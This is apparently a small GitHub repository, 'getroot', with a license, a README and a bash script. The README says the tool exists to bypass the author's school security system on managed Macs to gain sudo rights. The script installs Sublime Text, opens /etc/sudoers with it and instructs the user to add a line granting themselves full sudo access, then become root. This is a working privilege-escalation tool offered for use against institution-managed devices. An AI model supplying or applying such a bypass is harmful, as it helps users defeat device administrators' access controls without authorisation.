├── LICENSE ├── README.md ├── getroot.sh └── preview.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Siddharth Dushantha 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # getroot 2 | >Tool to bypass my school's security system to get sudo privileges on MacOS 3 | 4 |

5 | 6 |

7 | 8 | ## 🔨 Usage 9 | 10 | ```bash 11 | # clone the repo 12 | $ git clone https://github.com/sdushantha/getroot.git 13 | 14 | # change the working directory to getroot 15 | $ cd getroot 16 | 17 | # run the script 18 | $ sh getroot.sh 19 | ``` 20 | 21 | ## 🤔 FAQ 22 | 23 | ### Why am I not getting root? 24 | Ok, I made this script based on my school's security system, not yours. So it is not gaurented that this will work on your Mac. 25 | My school uses a few profiles which can be found in Settings > Profiles. They use, *MDM Profile*, *Student Preference Restriction* and *FileVault Recovery* 26 | 27 | ### I am getting this error ```Unable to find application named 'Sublime Text.app/'``` 28 | You are most likly getting this error because you did not open Sublime Text like you were asked to. You have to open Sublime Text and then press enter on the Terminal. 29 | 30 | ## :scroll: License 31 | MIT License 32 | 33 | Copyright (c) 2018 Siddharth Dushantha 34 | -------------------------------------------------------------------------------- /getroot.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | CURRENT=$(pwd) 4 | 5 | BLUE="\033[34m"; 6 | RED="\033[31m"; 7 | BOLD="\033[1m"; 8 | # No color 9 | NC="\033[0m"; 10 | 11 | 12 | banner(){ 13 | cat << EOF 14 | ________ __ __________ __ .__ 15 | / _____/ _____/ |\______ \ ____ _____/ |_ _____| |__ 16 | / \ ____/ __ \ __\ _// _ \ / _ \ __\ / ___/ | \ 17 | \ \_\ \ ___/| | | | ( <_> | <_> ) | \___ \| Y \\ 18 | \______ /\___ >__| |____|_ /\____/ \____/|__| /\ /____ >___| / 19 | \/ \/ \/ \/ \/ \/ 20 | By Siddharth Dushantha (sdushantha) 21 | Tool to bypass my school's security system to get sudo privileges 22 | EOF 23 | } 24 | 25 | 26 | setUpSublimeText(){ 27 | 28 | # Downloads Sublime Text from the url below. Yes, the url is hard coded and needs to be updated 29 | # When a new version comes out. I could extract the url from the webpage using regex but 30 | # I am not a bash god, so I am trying to keep this script simple for now 31 | printf "${BLUE}==>${NC} ${BOLD}Downloading https://download.sublimetext.com/Sublime Text Build 3176.dmg${NC}\n" 32 | curl https://download.sublimetext.com/Sublime%20Text%20Build%203176.dmg --output "Sublime Text.dmg" -s 33 | printf "${BLUE}==>${NC} ${BOLD}Download complete${NC}\n" 34 | 35 | printf "${BLUE}==>${NC} ${BOLD}Mounting${NC} ${BLUE}Sublime Text.dmg ${NC}\n" 36 | 37 | # Using the -quiet prevents alot of text pouring out. Maybe I could add a argument to this script 38 | # where the user can have a very verbose output if they want. All I would have to do is, to remove 39 | # quiet from the command below 40 | hdiutil attach "Sublime Text.dmg" -quiet 41 | 42 | cd "/Volumes/Sublime Text/" 43 | printf "${BLUE}==>${NC} ${BOLD}Moving${NC} ${BLUE}Sublime Text.app${NC} ${BOLD}to${NC} ${BLUE}Application${NC} ${BOLD}folder\n${NC}" 44 | cp -R "Sublime Text.app" Applications 45 | 46 | cd .. 47 | 48 | printf "${BLUE}==>${NC} ${BOLD}Unmounting${NC} ${BLUE}Sublime Text.dmg${NC}\n" 49 | hdiutil detach "Sublime Text" -quiet 50 | 51 | # Moving back to the current working directory so that I can delete the Sublime Text.dmg 52 | # which is located in the current working directory 53 | cd $CURRENT 54 | 55 | printf "${BLUE}==>${NC} ${BOLD}Deleting${NC} ${BLUE}Sublime Text.dmg${NC}\n" 56 | 57 | # Allways leave the place neater than you found it :) 58 | rm "Sublime Text.dmg" 59 | 60 | } 61 | 62 | 63 | # Who doesnt like a cool banner? 64 | banner 65 | echo 66 | 67 | setUpSublimeText 68 | 69 | echo 70 | 71 | # The user has to open Sublime Text them self. I cant do it from a script 72 | # because right after downloading Sublime Text, it is an ap from 73 | # an untrusted developer. 74 | read -p "Press RETURN *after* opening Sublime Text" 75 | 76 | # After they open Sublime Text, I can use the command below 77 | # to open /etc/sudoers using Sublime Text 78 | open -a "Sublime Text" /etc/sudoers 79 | 80 | printf "${BLUE}==>${NC} ${BOLD}Paste the text below into the file which will be opened now${NC}\n" 81 | echo $USER "ALL=(ALL:ALL) ALL" 82 | printf "${BLUE}==>${NC} ${BOLD}Then save the file and type in the password when prompted${NC}\n" 83 | 84 | 85 | printf "${BLUE}==>${NC} ${BOLD}Afer saving the file you can become${NC} ${RED}${BOLD}root${NC}${BOLD}!${NC} 🎉\n" 86 | 87 | printf "Try running a command with 'sudo' or type 'sudo su' and \nthen 'whoami' to see if you got root\n" 88 | -------------------------------------------------------------------------------- /preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sdushantha/getroot/f7c42e5b6ad0d4eb37ba9a4a501947f66f2aef5d/preview.png --------------------------------------------------------------------------------